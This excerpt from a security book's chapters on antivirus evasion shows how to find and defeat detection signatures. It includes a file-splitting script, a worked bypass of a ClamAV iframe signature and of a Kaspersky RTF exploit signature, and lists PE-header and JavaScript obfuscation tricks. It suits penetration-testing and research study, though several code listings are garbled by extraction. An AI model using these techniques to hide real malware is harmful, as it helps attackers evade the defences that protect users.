can be used to test the antivirus solution deployed in an organization. Security
professionals use antivirus software to answer questions such as the following:
Is it possible to evade dynamic detection easily?
Is it possible to bypass static detection by simply changing a few bits in
recent malware samples or with some specific malware?
Asking and answering such questions can help organizations protect themselves against malicious attacks. In their software solutions, antivirus companies
use various systems for statically and dynamically detecting both known and
unknown malware (usually based on reputation systems or monitoring program
execution to determine whether the behavior looks suspicious). However, and
sadly, bypassing antivirus detection is usually an easy task. It often takes only
a matter of minutes, or hours in cases where more than one antivirus scanner
must be bypassed. In 2008, an antivirus evasion contest, called the “Race to
Zero,” was held at the DefCon conference in Las Vegas. During the contest,
participants were given a sample set of viruses and malicious code to modify
and upload through the contest portal. The portal then used antivirus scanners
to check whether the uploaded samples were detected and by which antivirus
solution. The first individual or team whose newly modified sample bypassed
all of the antivirus engines undetected would win that round. According to the
organizers, each new round was designed to be more complex and challenging.
The results: all AVs were evaded, with the single exception of a Word 97-based
exploit because nobody had this software. Antivirus companies were angered
and considered this contest a bad practice. Roger Thompson, CRO of AVG
Technologies, reflected the view of some antivirus companies when he called
it a contest for writing “more viruses.” Paul Ferguson, from Trend Micro, said
Chapter 6 ■ Antivirus Software Evasion
that it was a bad idea to encourage hackers to take part in a contest for bypassing
antivirus solutions, stating that it was “a little over the top.” Unsurprisingly, most
people in the antivirus industry complained. But, despite their complaints, the
contest’s results showed that bypassing antivirus products is not a big challenge.
Indeed, the contest was considered too easy, and it was never repeated again.
Discovering Where and How Malware Is Detected
A key part of antivirus evasion is determining how malware is detected. Is a
specific sample detected via static means, using some signature, or is it detected
through dynamic techniques such as monitoring behavior for suspicious actions
or by a reputation system that prevents the execution of completely unknown
software? If it is detected by a specific signature, what is that signature based on?
Is it based on the functions imported by the portable executable (PE) sample? Is
it based on the entropy of a code or data section in the sample? Or is it finding
some specific string in the sample, inside one of its sections or in an embedded
file within the sample? The following sections will cover some old and somewhat
new tricks to determine how and where a known malware sample is detected.
Old Tricks for Determining Where Malware Is
Detected: Divide and Conquer
The oldest trick for bypassing antivirus detection based on static signatures,
such as CRCs or simple pattern matching, is to split the file into smaller parts
and analyze all of them separately. The chunk where the detection is still being
triggered is actually the part of the file you want to change to evade the antivirus
software you are targeting. While this approach may appear naïve and unlikely
to work most of the time, it works very well when used with checksum-based
signatures or pattern matching. However, you will need to adapt this approach
to the specific file format you are researching and testing against. For example,
if you need to bypass the detection of a PE file, splitting it into parts is likely
to help, as the antivirus kernel will surely first check whether the file is a PE.
When it is split into chunks of data, it will no longer have a valid PE header;
therefore, nothing will be detected. In this case, the approach you can use is
similar, but instead of splitting the file into chunks, you create smaller versions
of the file with increasing sizes. That’s it: the first file contains the original bytes
from offset 0 to byte 256, the next file contains the original bytes from offset 0
to byte 512, and so on.
When one of the newly created files is detected, you know in which chunk and
at what offset it is detected. If, say, it is detected in the block at offset 2,048, you can
continue splitting the file, byte by byte, until you eventually get the actual offset
where the signature matches (or you can open the file in a hexadecimal editor
Part II ■ Antivirus Software Evasion
to check whether something special appears, such as a certain byte sequence,
and manually make some modifications). At that time, you know exactly which
offset in the file causes the detection to trigger. You also need to guess how
it is detecting your sample in that buffer. In 90 percent of cases, it will be a
simple, old-fashioned static signature based on fuzzy hashing (that is, a CRC)
or pattern-matching techniques, or a mix of them. In some cases, samples can
be detected via their cryptographic hashes (for the entire file or for a chunk of
data), most probably checking the MD5. In this case, naturally, you would only
need to change a single bit in the file contents or in the specific chunk of data,
and as the cryptographic hash aims to identify a file univocally, the hash will
change and the sample will not be detected anymore.
Evading a Simple Signature-Based Detection with the
Divide and Conquer Trick
This experiment uses a sample with the MD5 hash 8834639bd8664aca00b5599aaa
b833ea, detected by ClamAV as Exploit.HTML.IFrame-6. This specific malware
sample is rather inoffensive as the injected iframe points to a URL that is no
longer available. If you scan this file with the clamscan tool, you will see the
following output:
$ clamscan -i 8834639bd8664aca00b5599aaab833ea
8834639bd8664aca00b5599aaab833ea: Exploit.HTML.IFrame-6 FOUND
----------- SCAN SUMMARY ----------Known viruses: 3700704
Engine version: 0.98.1
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.01 MB
Data read: 0.01 MB (ratio 1.00:1)
Time: 5.509 sec (0 m 5 s)
As you can see, this file is detected by ClamAV. Now, you will try to bypass
this detection using the technique that was just discussed. To do so, you use
a small Python script that simply breaks the file into parts incrementally: it
creates many smaller files, with a size incremented by 256 bytes for each file.
The script is as follows:
import os
import sys
import time
Chapter 6 ■ Antivirus Software Evasion
#----------------------------------------------------------------------def log(msg):
print("[%s] %s" % (time.asctime(), msg))
#----------------------------------------------------------------------class CSplitter:
def __init__(self, filename):
self.buf = open(filename, "rb").read()
self.block_size = 256
def split(self, directory):
blocks = len(self.buf) / self.block_size
for i in xrange(1, blocks):
buf = self.buf[:i*self.block_size]
path = os.path.join(directory, "block_%d" % i)
log("Writing file %s for block %d (until offset 0x%x)" % \
(path, i, self.block_size * i))
f = open(path, "wb")
#----------------------------------------------------------------------def main(in_path, out_path):
splitter = CSplitter(in_path)
#----------------------------------------------------------------------def usage():
print("Usage: ", sys.argv[0], "<in file> <directory>")
if __name__ == "__main__":
if len(sys.argv) != 3:
main(sys.argv[1], sys.argv[2])
All right, with the sample and this small tool on hand, you execute the command python file directory in order to create many smaller files
with the original contents up to the current offset:
$ python 8834639bd8664aca00b5599aaab833ea blocks/
[Thu Dec 4 03:46:31 2014] Writing file blocks/block_1 for
(until offset 0x100)
[Thu Dec 4 03:46:31 2014] Writing file blocks/block_2 for
(until offset 0x200)
[Thu Dec 4 03:46:31 2014] Writing file blocks/block_3 for
(until offset 0x300)
[Thu Dec 4 03:46:31 2014] Writing file blocks/block_4 for
(until offset 0x400)
block 1
block 2
block 3
block 4
Part II ■ Antivirus Software Evasion
[Thu Dec 4 03:46:31
(until offset 0x500)
[Thu Dec 4 03:46:31
(until offset 0x600)
[Thu Dec 4 03:46:31
(until offset 0x700)
[Thu Dec 4 03:46:31
(until offset 0x800)
[Thu Dec 4 03:46:31
(until offset 0x900)
[Thu Dec 4 03:46:31
(until offset 0xa00)
2014] Writing file blocks/block_5 for block 5
2014] Writing file blocks/block_6 for block 6
2014] Writing file blocks/block_7 for block 7
2014] Writing file blocks/block_8 for block 8
2014] Writing file blocks/block_9 for block 9
2014] Writing file blocks/block_10 for block 10
(…more lines skipped…)
After creating the smaller files, you again execute the clamscan tool against
the directory where all the new files you split are located:
$ clamscan -i blocks/block_*
blocks/block_10: Exploit.HTML.IFrame-6 FOUND
blocks/block_11: Exploit.HTML.IFrame-6 FOUND
blocks/block_12: Exploit.HTML.IFrame-6 FOUND
blocks/block_13: Exploit.HTML.IFrame-6 FOUND
blocks/block_14: Exploit.HTML.IFrame-6 FOUND
blocks/block_15: Exploit.HTML.IFrame-6 FOUND
blocks/block_16: Exploit.HTML.IFrame-6 FOUND
blocks/block_17: Exploit.HTML.IFrame-6 FOUND
blocks/block_18: Exploit.HTML.IFrame-6 FOUND
blocks/block_19: Exploit.HTML.IFrame-6 FOUND
blocks/block_2: Exploit.HTML.IFrame-6 FOUND
blocks/block_20: Exploit.HTML.IFrame-6 FOUND
blocks/block_21: Exploit.HTML.IFrame-6 FOUND
The execution output shows that the signature starts matching at the second
block. The file is somewhere inside the 512 bytes. If you open the file blocks
/block_2 that you just created with a hexadecimal editor, you see the following:
$ pyew blocks/block_2
a http-equiv="Co
ntent-Type" cont
...... - ..... .
...... ......</t
dy bgcolor="#D7D
2D2" ALINK="#DA0
000" VLINK="#989
Chapter 6 ■ Antivirus Software Evasion
28D" LINK="#413A
><iframe src="ht
?income26" width
=1 height=1 styl
e="visibility: h
IDTH="774" cellp
adding="0" cells
pacing="0" bgcol
R>.<TD WIDTH="2"
rowspan="13" ba
Notice the <iframe> tag inside this chunk of data from the original file. An
educated guess is that the signature is looking for this tag and, probably, some
attributes, as it seems to be a generic iframe-related signature. How can you
modify the HTML tag or its respective attributes so it is not detected? First try
changing from <iframe src="…" to <iframe src='…'. As simple as it looks (you
are just changing from double quotes to single quotes), it may work in some
cases. You first try this:
$ clamscan modified_block
modified_block: Exploit.HTML.IFrame-6 FOUND
----------- SCAN SUMMARY ----------Known viruses: 3700704
Engine version: 0.98.1
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 5.581 sec (0 m 5 s)
It does not work this time. So, you try another change: what about removing
that space in the style="visibility: hidden" attribute of the iframe’s tag?
A change as simple as the following diff output shows:
$ diff modified_block blocks/block_2
< <body bgcolor="#D7D2D2" ALINK="#DA0000" VLINK="#98928D" LINK="#413A34"
Part II ■ Antivirus Software Evasion
src='" width=1 height=1
--> <body bgcolor="#D7D2D2" ALINK="#DA0000" VLINK="#98928D" LINK="#413A34"
src="" width=1 height=1
style="visibility: hidden"></iframe>
Another easy change, isn’t it? And if you run the clamscan command-line
scanner against your modified file, you see the following:
$ clamscan modified_block
modified_block: OK
----------- SCAN SUMMARY ----------Known viruses: 3700704
Engine version: 0.98.1
Scanned directories: 0
Scanned files: 1
Infected files: 0
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 5.516 sec (0 m 5 s)
The detection scanner is no longer discovering anything in your modified file.
Now, all you have to do is modify the original sample, removing the space, and
you are done: you just evaded detection (and, apparently, most of the iframe’s
generic detections of ClamAV).
N O T E This technique is not really required to evade ClamAV detections. Because
ClamAV is an open-source tool, you can unpack the signatures using sigtool and
find the name it is detecting and the signature type for a specific kind of malware. In
the previous example, you would discover a pattern in hexadecimal that matches the
visibility: hidden sub-string as part of the signature. If you have the plain text
signatures, it is easier to evade detection: you can check how the malware researchers decide to detect it and change the sample file so the detection scanner does not
catch it anymore. It can be argued that this makes an open-source anti-malware tool
less effective than a commercial solution. However, keep in mind that signatures are
always distributed with antivirus products, whether they are open source or not. The
only difference is that unpackers for the signatures are not distributed by the antivirus
company and must be written by the person or team researching the antivirus. But,
once an unpacker for the signatures of some specific antivirus product is coded, the
signatures can be bypassed with the same difficulty level.
Chapter 6 ■ Antivirus Software Evasion
Binary Instrumentation and Taint Analysis
Binary instrumentation is the ability to monitor, at (assembly) instruction level,
everything that a program is doing. Taint analysis is the ability to track and
discover the flow of data, after it was read with functions such as fread or recv,
and determine how that input data is influencing the code flow. Taint analysis
routines, now a popular approach for program analysis, can be written using
various binary instrumentation toolkits. Several binary instrumentation toolkits
are freely available—such as the closed-source (with a very restrictive license)
Intel PIN and the open-source DynamoRIO—and can be used to instrument
a program, such as an antivirus command-line scanner. You may be tempted
to implement a rather complex taint analysis module for your favorite binary
instrumentation toolkit so you can trace where your inputs are used (the malware
sample’s bytes), how the data flows, and how it is finally detected, in an automatic
and elegant way. However, this approach is highly discouraged.
There are many reasons why this approach is discouraged; some important
ones are listed here:
A file to be scanned, depending on the antivirus core, can be opened
only once, a few times, or a number of times according to the number of
different engines that the antivirus uses. Each antivirus engine will behave
differently. Some antiviruses open a file thousands of times to analyze it.
If a file is opened and read only once, almost all bytes in the file are touched
(“tainted”) by some routine, and the number of traces you have to filter
out are huge (in the order of gigabytes).
Some antivirus engines have a bad habit of launching all signatures against
all files or buffers, even when something was detected. For example,
assume that an antivirus engine has 100 detection routines and launches
them against the input file. When the sample is detected at, say, the fifth
detection routine, the AV engine will still launch all the other 95 detection
routines, making it very difficult to determine in which routine it was
detected. Of course, if specific code for each antivirus engine and detection is written, then your taint analysis program will lead you to discover
different code paths in the AV engine.
The buffer read can be sent to other processes using many different methods
(IPC, Unix sockets, and so on), and you may only get information back
from the server telling whether or not it is infected, simply because the
client-side part does not have the detection logic. In the previous example,
you may need to run your binary instrumentation and taint analysis tools
on both the client and the server AV programs because, in some antivirus
Part II ■ Antivirus Software Evasion
products, there can be routines in each process (for example, light routines
at client and heavy routines at server).
To make sense of the recorded taint data coming from the taint analysis
engine, you have to modify your engine to consider various methods
of scanning, file I/O, and socket API usages and how the buffers are
passed around inside the AV core. The taint analysis engine must be
adapted for any new antivirus kernel, which usually translates into writing
ugly, hard-coded workarounds for a condition that happens only with a
specific antivirus engine. This approach can become very time-consuming,
especially when there are a large number of AV products on the market.
For instance, VirusTotal employs around 40 antivirus products, and each
one works differently.
The complexity of writing such a system, even in the hypothetical situation
where most of the corner cases can be worked around and most problems
can be fixed, is not worth it. Bypassing static signatures is extremely easy
AV software evasion techniques are researched not only by malware writers
but also by professional penetration testers who are hired by companies to test
their infrastructures and need to bypass the deployed AV products. Evasion
techniques are divided into two categories: static and dynamic.
Static evasion techniques are achieved by modifying the contents of the
input file so its hash or checksum is changed and can no longer be detected
using signature-based detections.
The malware may use dynamic evasion techniques during execution,
whether in a real or emulated environment. The malware can fingerprint the
AV software and change its behavior accordingly to avoid being detected.
This chapter concluded by showing two methods that can be used to help
understand how malware are detected by the AV software:
The divide and conquer technique can be used to split the malicious file
in chunks and then scan each chunk separately to identify the chunk in
the file that triggers the detection. Once the right file chunk is identified,
then it becomes trivial to patch the input file and make it undetectable.
Binary instrumentation and taint analysis, with libraries such as Intel PIN
or DynamoRIO, can be used to track the execution of the antivirus software. For instance, when the appropriate AV component is instrumented,
Chapter 6 ■ Antivirus Software Evasion
it would be possible to understand how the scanned input file is detected.
Nonetheless, the execution traces and logs generated from dynamic binary
instrumentation makes this method very tedious and time-consuming.
While this chapter paved the way for the subsequent chapters in this book
part, the next chapter will cover how to bypass signature-based detections for
various input file formats.
Evading Signatures
Evading signatures of antivirus (AV) products is one of the most common tasks
for both bad guys (such as malware writers) and good guys (such as penetration testers). The complexity of evading AV signatures depends on the amount
of information you have in the signature files, the file format involved, and the
number of different antiviruses you want to evade.
As discussed in previous chapters, the most typical detection information
found in antivirus signatures includes simple CRC32-based checksums. Evading
such signatures (which is covered in Chapter 6) with the ClamAV’s signature,
named Exploit.HTML.IFrame-6, is a matter of determining the exact offset
where the checksum is matched and changing at least one bit. However, there
are other more complex signatures that cannot be bypassed with such a simple
approach. For example, file-format-aware signatures, such as those specific to
portable executable (PE) files, do not rely on a single detected evidence in a fixedsize buffer at a specific offset. The same applies to Microsoft Office-supported
file formats, such as OLE2 containers and RTF files, and too many other file
formats, such as PDF, Flash, and so on. This chapter discusses some approaches
that you can use to bypass signatures for specific file formats.
Part II ■ Antivirus Software Evasion
File Formats: Corner Cases and Undocumented Cases
The number of different file formats that an antivirus engine must support is
huge. As such, you cannot expect to understand the various file formats as well as
the original creators do. There are, and will always be, different implementations
of file format parsers from different AV vendors, and therefore their behavior
can vary. Some differences exist because of the complexity of the file format,
the quality of the file format’s documentation, or the lack thereof. For example,
for a long time there was no specification at all for the Microsoft Office binary
file formats (such as the ones used by Excel or Word). During that time, writing
parsers for such file formats involved reverse-engineering and reading notes
from random people or groups working on reverse-engineering such file formats
(such as when Microsoft Office was partially reverse-engineered in order to add
support to Office files in the StarOffice product). Because of the lack of file format
documentation, the level of completeness of the AV parsers for OLE2 containers
(that is, Word documents) was at best partial and was based on data that may
not have been completely true or on inaccurate reverse-engineering efforts.
In 2008, Microsoft made all of the documentation for the binary Office formats
freely available and claimed no trade secret rights. The documentation that was
released contained a set of 27 PDF files, each consisting of hundreds of pages
and totaling 201MB. Common sense thus dictates that no existing AV product
would have implemented the entire file format. For example, if an AV company
wanted to correctly support the Microsoft XLS (Excel) file format, its engineers
would need to go through 1,185 pages of documentation. This poses a problem
for AV engineers. The complexity and time required to implement AV solutions
indirectly helps malware writers, reverse-engineers, and penetration testers to
do their jobs of evading AV scanners.
Evading a Real Signature
This section looks at a generic detection signature used by Kaspersky Anti-Virus,
at the end of January 2015, for the malware it calls Exploit.MSWord.CVE-20103333.cp. This signature is designed to catch exploits abusing a vulnerability in
some old versions of Microsoft Word when processing RTF file formats. When
trying to evade detection, you can do so either haphazardly or systematically.
The second option is covered here.
To achieve your goal properly and systematically, you need to find answers
to these important questions:
Where are the virus definition files of this AV product?
What is the format of the virus definition files?
Where is the code or signature that is specific to the file for which you
want to bypass detection?
Chapter 7 ■ Evading Signatures
You start with the easiest question: Kaspersky virus definition files have the
*.AVC extension. There are many such files in a common installation, including the files base0001.avc to basea5ec.avc, extXXX.avc, genXXX.avc, unpXXX
.avc, and so on. This example looks at the file called daily.avc, where the daily
updated routines are stored. If you open this file in a hexadecimal editor—Pyew,
in this case—you see a header similar to the following one:
AVP Antiviral Da
tabase. (c)Kaspe
rsky Lab 1997-20
Kaspersky Lab. 0
1 Apr 2014 00:5
As you can see, this is a binary file with some ASCII strings and an unknown
file format. You would first need to reverse-engineer the Kaspersky kernel to
determine the file format and unpack it. However, in this case you are lucky
because somebody has already done this for you. The infamous 29A’s virus
writer z0mbie reverse-engineered some old versions of the Kaspersky kernel,
discovered the file format of .AVC files, and wrote an unpacker. A GUI tool
and its source code are available on the author’s web page at http://z0mbie
There is another GUI tool based on this code, which is available through the
following forum:
This example uses the GUI tool AvcUnpacker.EXE. You can get a copy of the
daily.avc file from a working installation of Kaspersky (or find a copy using
a Google search on the Kaspersky update servers). Open the daily.avc file
with the AvcUnpacker.EXE tool. After selecting the correct file, click the Unpack
button. Your screen should contain a window similar to Figure 7-1.
Figure 7-1: The AVC tool unpacking the Kaspersky daily.avc signatures file
Part II ■ Antivirus Software Evasion
After you unpack the daily.avc file, the same directory containing that file
will also contain several files and directories (see Figure 7-2).
Figure 7-2: Files and directories created after unpacking
Most of the unpacked files are of interest. Start with the first file named StammFile Virri/Stamms.txt. If you open it in a text editor, you see something like
the following:
------------------------------ 0000 ----------------------------------File Virri-Signature Length (1) = 00
File Virri-Signature Offset (1) = 0000
File Virri-Signature (1),w
= 0000
File Virri-Sub Type
= 01
File Virri-Signature (1),dw
= 00000000
File Virri-Signature Length (2) = 00
File Virri-Signature Offset (2) = 0000
File Virri-Signature (2),dw
File Virri-Virri Finder stub in=0000-> \\Lib-File Virri Finding
File Virri-Name
= 000001C9 -> Trojan.Win32.Hosts2.gen
File Virri-Cure Parameter(0)
= 00
File Virri-Cure Parameter(1)
= 0000
File Virri-Cure Parameter(2)
= 0000
File Virri-Cure Parameter(3)
= 0000
File Virri-Cure Parameter(4)
= 0000
File Virri-Cure Parameter(5)
= 0000
-------------------------------------- 0001 -------------------------File Virri-Signature Length (1) = 04
File Virri-Signature Offset (1) = 0000
File Virri-Signature (1),w
= 5C7B
File Virri-Sub Type
= 01
File Virri-Signature (1),dw
= 7B270921
File Virri-Signature Length (2) = 00
File Virri-Signature Offset (2) = 0000
File Virri-Signature (2),dw
= 00000000
Chapter 7 ■ Evading Signatures
File Virri-Virri Finder stub in = 0001 -> \\Lib-File Virri Finding
File Virri-Name = 00000000 -> Exploit.MSWord.CVE-2010-3333.cp
File Virri-Cure Parameter(0)
= 02
File Virri-Cure Parameter(1)
= 0000
File Virri-Cure Parameter(2)
= 0000
File Virri-Cure Parameter(3)
= 0000
File Virri-Cure Parameter(4)
= 0000
File Virri-Cure Parameter(5)
= 0000
(…many more lines stripped…)
As you can see, this file contains the virus name, Exploit.MSWord.CVE-20103333.cp, and the path to the fi nder stub, which is actually in the Common
Object File Format (COFF), with all the code required for detecting such exploits.
Launch IDA Pro and then open this COFF object file. After the initial autoanalysis stage, IDA successfully analyzes the COFF file and displays a very
good disassembly with symbol names! The interesting function in this case
is _decode. Press Ctrl+E to select the entry point you want, locate the _decode
entry point, and then press Enter to jump to its disassembly listing. You should
see a disassembly like the one in Figure 7-3.
Figure 7-3: Generic detection for uncovering some CVE-2010-3333 exploits
This is all of the code required to detect what Kaspersky calls Exploit
.MSWord.CVE-2010-3333.cp. It first checks whether the file header (the ds:_Header
Part II ■ Antivirus Software Evasion
external symbol) starts with 0x74725C7B (hexadecimal for 'tr\{') and then checks
whether the file length (ds:_File_Length) is longer than 0x5D00 bytes (23,808
bytes). After these initial checks, it references the ASCII strings ilpd and ocen
and calls a function named DGBMS2, as shown here:
eax, ds:s_ilpd
ecx, ds:s_ocen
dl, ds:byte_128
20h ; ' '
(offset _Page_E+7E0h)
[ebp+search_buf], eax
eax, [ebp+search_buf]
[ebp+search_buf+4], ecx
byte ptr [ebp+search_buf+8], dl
esp, 10h
If you are unclear as to what the function DGBMS2 does, you could guess that it
tries to find a string in the file. Actually, it is trying to find the strings dpli and
neco somewhere after the Page_E symbol (each Page_X symbol contains bytes
from the file; for example, Page_A corresponds to the first kilobyte, Page_B to
the second kilobyte, and so on). After this search, and only if the search finds
something, it seeks to 23,808 bytes before the end of the file, reads 512 bytes in
Page_C, and searches for the strings {\\sp2{\\sn1 pF and ments}:
edx, dword ptr ds:__0+4 ; "2{\\sn1 pF"
ecx, dword ptr ds:__0 ; "{\\sp2{\\sn1 pF"
eax, dword ptr ds:_File_Length
[ebp+search_buf2], ecx
ecx, dword ptr ds:__0+8 ; "n1 pF"
[ebp+search_buf2+4], edx
edx, word ptr ds:__0+0Ch ; "F"
[ebp+search_buf2+8], ecx
ecx, dword ptr _ ; "ments}"
word ptr [ebp+search_buf2+0Ch], dx
edx, word ptr _+4 ; "s}"
eax, 0FFFFA300h
[ebp+search_buf], ecx
cl, byte ptr _+6 ; ""
offset _Page_C ; _DWORD
word ptr [ebp+search_buf+4], dx
byte ptr [ebp+search_buf+6], cl
esp, 0Ch
eax, 200h
Chapter 7 ■ Evading Signatures
short loc_F8
offset _Page_C ; _DWORD
edx, [ebp+search_buf2]
esp, 10h
eax, eax
short loc_F8
offset _Page_C ; _DWORD
eax, [ebp+search_buf]
esp, 10h
If everything is successful, then it returns 1, which means that the file is
infected. If any of the evidence is missing, it returns 0, which means that the
file is clean. The entire signature can be best viewed in pseudo-code using
the Hex-Rays decompiler, as shown in Figure 7-4.
Figure 7-4: Pseudo-code for the _decode routine
After you analyze the logic behind the detection code in the OBJ fi le, it
becomes obvious that you have many different methods for bypassing detection.
For example, if you could somehow change the file’s header or craft an exploit
smaller than 0x5D00 bytes, this code would no longer catch variations of
Part II ■ Antivirus Software Evasion
the file. If you could change at least one of the strings that it tries to fi nd
after the initial checks are made, the same thing would happen. Because not all
the evidence is revealed in the file, it would be discarded by this generic detection.
Now that you know what to do, make one small change to the file by putting
a space between the \sp2 and \sn1 control words. For illustration purposes,
use the malware sample with the following SHA1 hash: deac10f97dd061780b
186160c0be863a1ae00579. Check the VirusTotal report for this file at https:
// file/651281158d96874277497f769e62827c48ae495c
This report show that it is detected by 24 out of 57 scanners, Kaspersky being
one of them. If you search for the string {\\sp2{\\sn1 pF and ments} that
Kaspersky tries to match, you will find it at offset 0x11b6:
$ pyew 651281158d96874277497f769e62827c48ae495c622141e183fc7f7895d95e3f
7B 5C 72 74 78 61 7B 5C 61 6E 73 69 7B 5C 73 68 {.rtxa{.ansi{.sh
70 7B 5C 2A 5C 73 68 70 69 6E 73 74 5C 73 68 70 p{.*.shpinst.shp
(…many lines stripped…)
[0x00000000]> /s \sp2
HINT[0x000011b6]: .sp2{.sn1 pF}{.sn2 rag}{.*.comment}{.sn3 ments}
{.sv22 3;8;15
You can open this RTF file in a text editor (as RTF files are just plain text files)
and add a space between the \sp2 and {\sn1 strings. The exploit will still work,
but the number of AV scanners detecting it as malicious will drop, as you can
see in the following VirusTotal report:
It dropped from 24 out of 57 to 18 out of 56. And, naturally, the antivirus that
you targeted, Kaspersky, disappeared from this report.
Congratulations, you just bypassed this Kaspersky generic detection in an
elegant way.
Evasion Tips and Tricks for Specific File Formats
The number of file formats that can be used to distribute malware, as well as
the number of tricks employed by malware, are incredibly large; however, the
following sections will cover only some of the most common ones. The focus
here is on teaching you how to evade antivirus detection for PE, JavaScript, and
PDF files.
PE Files
Windows executable files are also known as PE (portable executable) files. Naturally,
executable files are the most preferred formats among malware writers, because
they are self-contained and can run without the need to launch another program
Chapter 7 ■ Evading Signatures
(as is the case with Microsoft Word files). Executable files need not be the first
line of attack, because they can be easily detected. Instead, malware is often distributed in the form of PDF or Microsoft Office files and often via a web browser
exploit; however, the final stage of the exploit may end up dropping one or more
PE files at some point.
There are innumerable ways of modifying a PE file without actually changing
its behavior or corrupting it. Some of the most typical changes (which are also
very complex) are listed in the Corkami project’s wiki page that talks about the
PE file format:
The Corkami project is a repository for some of the craziest ideas that Ange
Albertini—a security researcher who loves to play with file formats—has compiled
and released to the public. Some of the most basic and useful tricks extracted
from this web page are listed here:
Section names—The name of a section, except in the case of some
specific packers and protectors, is meaningless. You can change the name
of any section to whatever you want as long as you preserve the field
size (a maximum of eight characters). Some antivirus generic detections
check the section names to determine whether the names match up with
a particular family of malware.
TimeDateStamp—In some cases, a family of malware shares the same
TimeDataStamp (the date when the files were built), and this timestamp
can be used by generic AV detections as evidence. Sometimes, the timestamp field alone can also be the entire signature. Naturally, this field is
meaningless to the operating system and can be changed to anything you
want. It can even be NULL.
MajorLinkerVersion/MinorLinkerVersion—Although this field is not
relevant to the operating system, in general, it can be used in the same way
as the TimeDataStamp case; as such, it can be modified without causing
the PE file to malfunction.
Major/Minor OperatingSystemVersion and ImageVersion/
MinorImageVersion—This field is exactly the same as for TimeDataStamp
and MajorLinkerVersion/MinorLinkerVersion.
AddressOfEntryPoint—This value is believed to be not NULL. However,
it can be NULL, which means, simply, that the entry point of the program
will be at offset 0x00, exactly at its IMAGE_DOS_HEADER, which starts with
MZ magic bytes.
Maximum number of sections—In Windows XP, the maximum number
of sections in a PE file was 96. In Windows 7, it could be 65,535. Some
antivirus engines, for performance reasons, try to determine whether the
PE is broken before actually launching most of their generic detections.
One check in antivirus engines is that the number of sections expected
Part II ■ Antivirus Software Evasion
cannot be greater than 96. This assumption is erroneous for any OS more
recent than Windows XP (which is, by the way, no longer a supported OS).
File length—Although not specific to this file format, PE files are often
discarded when they are bigger than some specified size. It is possible
to add as much data as you want in the overlay (the end of the PE file)
without disrupting the execution of the modified executable file. This is
typical, for example, with many heuristic engines (discarding large files
can offer a small performance improvement, as most malware files are
usually “small”).
A large number of tricks can be used in order to evade detection of PE files,
and so it is recommended that you check Ange Albertini’s wiki page on the PE
file format for more details.
N O T E While many of the tricks listed in Albertini’s web page can be useful for
evading malware detection, it is worth mentioning that these tricks are unusual. This
means that once a sample with such characteristics appears, it will be considered
suspicious. In order to make a program appear benign to antivirus products, it is
recommended that you simply make it look like a goodware file. For example, building
programs that look like ordinary Microsoft Visual C++ compiled files without obfuscation, packing, and so on will make them appear less suspicious, which will, in turn,
make it less obvious to a researcher that the program is malicious.
Most malware distributed on the web is in the form of JavaScript-based exploits
for browser vulnerabilities. A large number of malware infections come from
this exact vector: a vulnerability in a web browser such as Internet Explorer or
Firefox, exploited via an iframe injection or by tricking a user into browsing
to some website that finally drops an executable file, such as a PE. As a result,
antivirus engineers expend a lot of time researching how to detect malicious
JavaScript. However, JavaScript is a very open language that allows code creation
on the fly, as well as the creation of many unusual, though valid, constructs
and code patterns that are difficult to read and interpret by humans (but easy
to run for a JavaScript interpreter).
For example, can you tell what the following code does?
It shows the message cafe by converting the decimal number 51966 to its
hexadecimal representation 0xcafe and returning a string via toString(16).
Easy, right? What about the next chunk of JavaScript code:
Chapter 7 ■ Evading Signatures
window[Number(14).toString(16) +
Number(31).toString(36) +
Number(10).toString(16) +
This shows the message Hi. Not as simple, but it could be even worse. What
does the code shown in Figure 7-5 do?
Figure 7-5: Obfuscated JavaScript code
It simply shows the message Hi in the browser. As you can see, the number
of tricks available to obfuscate JavaScript code or to hide the logic, as well as to
evade detection, is limited only by your imagination. The following sections
list some interesting tricks for JavaScript obfuscation.
String Encoding
String characters can be encoded in many ways. For example, a series of variable
concatenations can be used to partially hide the real string being used:
var a = "e"; var x = "v"; var n= "a"; var zz_0 = "l";
real_string = a + x + n + zz_0;
Another example—similar to those in the previous section—involves encoding
strings as numbers and then converting them to strings later. Another trick is
accomplished by using the escape and unescape functions, as in the following
In this example, the complete string “alert('Hi')” is obfuscated so that it
cannot be easily guessed. If you apply various string-encoding methods, humans
are unable to read your JavaScript, and de-obfuscation tools are required.
Part II ■ Antivirus Software Evasion
Executing Code on the Fly
Many interpreters allow code creation and execution on the fly. For example,
in JavaScript, you can execute code by passing as an argument a string with
all the code you want by using functions such as eval. However, there are
other functions, such as setTimeout (a function used to set up a timer to execute a code after a number of seconds has passed), addEventListener, or even
document.write, which can write HTML and JavaScript code. As with JavaScript,
you can mix many tricks together: for example, a string can be executed, after
a delay via setTimeout, that writes more obfuscated HTML and JavaScript via
document.write and finally executes the true code via eval. You can chain such
tricks as many times as you want.
Hiding the Logic: Opaque Predicates and Junk Code
Another typical trick, although not specific to JavaScript, is to use junk code
to hide logic and opaque predicates. The predicates, for which the answer is
known beforehand by the malware writers, can be difficult to detect without
an AV engine that has a sophisticated static analyzer:
var a1 = 10; // Set the predicate earlier in the program
// …
// some more junk code
// …
if ( a1 == 10 )
// real code
// junk code
This example can be mixed with more tricks to hide the logic, where code
could be constructed on the fly with meaningless names for variables and
functions, or with names not corresponding to the actions being executed. For
example, the object’s toString method can be overwritten and then executed
indirectly through its parent object, but instead of having toString return some
string representation, it executes code via a call to eval. As with JavaScript, you
can chain together many tricks, which makes it really difficult for a human to
determine what the code is actually doing. When all those obfuscation tricks are
used, it becomes problematic to create generic detection routines and signatures
based solely on typical evidence-gathering techniques (basic string matching).
Antivirus companies are well aware of such malware trends and try to combat
them by including a JavaScript interpreter/emulator in their products; however,
this solution will still miss many emerging obfuscation tricks.
Chapter 7 ■ Evading Signatures
The Portable Document Format (PDF) is a file format intended to show documents
that need to look the same, regardless of the application software and operating system used. It was developed by Adobe around 1991 (and was first called
Camelot) and is now used in all major operating systems. As with all old file
formats that have been widely adopted, PDF is incredibly complex, the specifications are long and full of errors, and the files are plagued by details and
exceptions that are poorly documented, if at all.
The complexity of the PDF file format “standard” makes it very easy to modify
such files in order to evade detection. For experimentation purposes, this example
